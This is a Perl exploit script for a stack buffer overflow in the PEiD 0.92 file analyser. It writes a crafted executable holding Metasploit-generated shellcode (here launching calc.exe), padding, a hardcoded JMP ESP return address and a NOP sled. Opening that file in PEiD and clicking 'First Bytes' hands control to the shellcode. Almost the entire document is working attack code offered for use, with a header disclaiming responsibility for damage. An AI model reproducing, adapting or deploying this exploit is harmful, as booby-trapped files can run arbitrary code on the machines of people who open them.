#!/usr/bin/perl # # PEiD <= 0.92 Buffer Overflow Universal Exploit # Exploit by SkD (skdrat@hotmail.com) # ---------------------------------------------- # An old vulnerability but no existing exploit # for it, so here it is. Of course, I had to make it # universal because of that.This exploit will work # on all OS versions (XP, Vista, 2003, 2000). # You have limited space for the shellcode # (around 500, it can be tweaked for more space) # and there are no character restrictions. # # You can download PEiD 0.92 here: # http://www.absolutelock.de/construction/files/releases/PEiD.zip # # To trigger the exploit, load the created executable and then # click the "First Bytes" arrow. # Check it out :). # # Note: # Author has no responsibility over the damage you do with this. use strict; use warnings; # win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com my $shellcode = "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19". "\xc5\xd8\x59\x83\xeb\xfc\xe2\xf4\xe5\x2d\x9c\x59\x19\xc5\x53\x1c". "\x25\x4e\xa4\x5c\x61\xc4\x37\xd2\x56\xdd\x53\x06\x39\xc4\x33\x10". "\x92\xf1\x53\x58\xf7\xf4\x18\xc0\xb5\x41\x18\x2d\x1e\x04\x12\x54". "\x18\x07\x33\xad\x22\x91\xfc\x5d\x6c\x20\x53\x06\x3d\xc4\x33\x3f". "\x92\xc9\x93\xd2\x46\xd9\xd9\xb2\x92\xd9\x53\x58\xf2\x4c\x84\x7d". "\x1d\x06\xe9\x99\x7d\x4e\x98\x69\x9c\x05\xa0\x55\x92\x85\xd4\xd2". "\x69\xd9\x75\xd2\x71\xcd\x33\x50\x92\x45\x68\x59\x19\xc5\x53\x31". "\x25\x9a\xe9\xaf\x79\x93\x51\xa1\x9a\x05\xa3\x09\x71\x35\x52\x5d". "\x46\xad\x40\xa7\x93\xcb\x8f\xa6\xfe\xa6\xb9\x35\x7a\xeb\xbd\x21". "\x7c\xc5\xd8\x59"; my $exe_part1 = "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC8\x00\x00\x00". "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F". "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00". "\xA5\x8A\x2D\xC7\xE1\xEB\x43\x94\xE1\xEB\x43\x94\xE1\xEB\x43\x94\xBE\xC9\x48\x94\xE4\xEB\x43\x94\xE1\xEB\x42\x94\xEA\xEB\x43\x94". "\x83\xF4\x50\x94\xE4\xEB\x43\x94\x09\xF4\x48\x94\xE3\xEB\x43\x94\x52\x69\x63\x68\xE1\xEB\x43\x94\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\x03\x00\x86\xE1\x38\x49\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\x0F\x01". "\x0B\x01\x06\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x72\x10\x00\x00\x00\x10\x00\x00\x00\x20\x00\x00\x00\x00\x40\x00". "\x00\x10\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x04\x00\x00". "\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x30\x20\x00\x00\x3C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x20\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x2E\x74\x65\x78\x74\x00\x00\x00\xFC\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x20\x00\x00\x60\x2E\x72\x64\x61\x74\x61\x00\x00\x44\x01\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40\x2E\x64\x61\x74\x61\x00\x00\x00\x3C\x02\x00\x00\x00\x30\x00\x00". "\x00\x02\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x6A\x00\x68\x28\x30\x40\x00\x68\x18\x30\x40\x00\x6A\x00\xFF\x15\x24\x20\x40\x00\x68\x08\x30\x40\x00\xE8\x12\x00\x00\x00\x83\xC4". "\x04\x33\xC0\xC3\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x55\x8B\xEC\x81\xEC\x04\x04\x00\x00\x8D\x45\x0C\x56\x50\x8D\x85". "\xFC\xFB\xFF\xFF\xFF\x75\x08\x50\xFF\x15\x28\x20\x40\x00\x8B\xF0\x8D\x45\xFC\x6A\x00\x50\x8D\x85\xFC\xFB\xFF\xFF\x56\x50\x6A\xF5". "\xFF\x15\x08\x20\x40\x00\x50\xFF\x15\x04\x20\x40\x00\x8B\xC6\x5E\xC9\xC3\x56\xE8\x83\x00\x00\x00\x8B\xF0\xE8\x48\x00\x00\x00\x68". "\x04\x30\x40\x00\x68\x00\x30\x40\x00\xE8\x1F\x00\x00\x00\x6A\x00\x68\x38\x30\x40\x00\x56\xE8\x65\xFF\xFF\xFF\x83\xC4\x14\x8B\xF0". "\xE8\x3A\x00\x00\x00\x56\xFF\x15\x0C\x20\x40\x00\x5E\x56\x8B\x74\x24\x08\x3B\x74\x24\x0C\x73\x0D\x8B\x06\x85\xC0\x74\x02\xFF\xD0". "\x83\xC6\x04\xEB\xED\x5E\xC3\x6A\x20\x58\x6A\x04\x50\xA3\x30\x30\x40\x00\xE8\x0B\x01\x00\x00\x59\xA3\x2C\x30\x40\x00\x59\xC3\x8B". "\x0D\x34\x30\x40\x00\x85\xC9\x74\x11\xA1\x2C\x30\x40\x00\x8D\x0C\x88\x51\x50\xE8\xB5\xFF\xFF\xFF\x59\x59\xC3\x53\x56\x33\xDB\x57". "\x89\x1D\x38\x30\x40\x00\xFF\x15\x1C\x20\x40\x00\x8B\xF8\x57\xFF\x15\x18\x20\x40\x00\x40\x50\x53\xFF\x15\x14\x20\x40\x00\x50\xFF". "\x15\x00\x20\x40\x00\x8B\xF0\x3B\xF3\x75\x07\x33\xC0\xE9\xAC\x00\x00\x00\x57\x56\xFF\x15\x10\x20\x40\x00\x80\x3E\x22\x75\x1A\x46". "\x89\x35\x38\x30\x40\x00\x8A\x06\x3A\xC3\x74\x07\x3C\x22\x74\x03\x46\xEB\xF3\x38\x1E\x75\x1D\xEB\xD2\x89\x35\x38\x30\x40\x00\x8A". "\x06\x3A\xC3\x74\x0B\x3C\x20\x74\x07\x3C\x09\x74\x03\x46\xEB\xEF\x38\x1E\x74\x03\x88\x1E\x46\x6A\x01\xB9\x3C\x30\x40\x00\x58\x8A". "\x16\x3A\xD3\x74\x05\x80\xFA\x20\x74\x05\x80\xFA\x09\x75\x03\x46\xEB\xED\x8A\x16\x3A\xD3\x74\x46\x80\xFA\x22\x75\x17\x46\x40\x89". "\x31\x83\xC1\x04\x89\x19\x8A\x16\x3A\xD3\x74\x23\x80\xFA\x22\x74\x1E\x46\xEB\xF2\x89\x31\x40\x83\xC1\x04\x89\x19\x8A\x16\x3A\xD3". "\x74\x0D\x80\xFA\x20\x74\x08\x80\xFA\x09\x74\x03\x46\xEB\xED\x38\x1E\x74\x0B\x88\x1E\x46\x81\xF9\x38\x32\x40\x00\x7C\xA1\x5F\x5E". "\x5B\xC3\x8B\x44\x24\x04\x0F\xAF\x44\x24\x08\x50\x6A\x08\xFF\x15\x14\x20\x40\x00\x50\xFF\x15\x00\x20\x40\x00\xC3\x00\x00\x00\x00". "\xEC\x20\x00\x00\xB6\x20\x00\x00\xC2\x20\x00\x00\xD2\x20\x00\x00\xE0\x20\x00\x00\xF8\x20\x00\x00\x0A\x21\x00\x00\x16\x21\x00\x00". "\x00\x00\x00\x00\x9C\x20\x00\x00\x36\x21\x00\x00\x00\x00\x00\x00\x90\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xAA\x20\x00\x00". "\x24\x20\x00\x00\x6C\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x21\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xEC\x20\x00\x00\xB6\x20\x00\x00\xC2\x20\x00\x00\xD2\x20\x00\x00\xE0\x20\x00\x00". "\xF8\x20\x00\x00\x0A\x21\x00\x00\x16\x21\x00\x00\x00\x00\x00\x00\x9C\x20\x00\x00\x36\x21\x00\x00\x00\x00\x00\x00\xBE\x01\x4D\x65". "\x73\x73\x61\x67\x65\x42\x6F\x78\x41"; my $exe_part2 = "\x00\x55\x53\x45\x52\x33\x32\x2E\x64\x6C\x6C\x00\x00\xDF\x02\x57\x72\x69\x74\x65\x46\x69\x6C\x65\x00\x52\x01\x47\x65\x74\x53\x74". "\x64\x48\x61\x6E\x64\x6C\x65\x00\x00\x7D\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x02\x03\x6C\x73\x74\x72\x63\x70\x79". "\x41\x00\x00\x99\x01\x48\x65\x61\x70\x41\x6C\x6C\x6F\x63\x00\x40\x01\x47\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x48\x65\x61\x70\x00". "\x00\x08\x03\x6C\x73\x74\x72\x6C\x65\x6E\x41\x00\x00\xCA\x00\x47\x65\x74\x43\x6F\x6D\x6D\x61\x6E\x64\x4C\x69\x6E\x65\x41\x00\x4B". "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x64\x6C\x6C\x00\x00\xAE\x02\x77\x76\x73\x70\x72\x69\x6E\x74\x66\x41\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48". "\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x0A\x00\x00\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; my $len = 564 - (length($shellcode) + 100); my $overflow1 = "\x41" x 100; my $overflow2 = "\x41" x $len; my $overflow3 = "\x90" x 3; my $eip = "\xa2\x33\x46\x00";#00463379 > FFE4 JMP ESP or 004633A2 . FFE4 JMP ESP my $long_jmp = "\xe9\x0b\xfe\xff\xff"; my $nopsled = "\x90" x 20; open(my $exe, "> s.eXe"); binmode $exe; print $exe $exe_part1.$overflow1.$shellcode.$overflow2.$long_jmp.$overflow3.$eip.$long_jmp.$nopsled.$shellcode.$overflow2.$exe_part2; close($exe);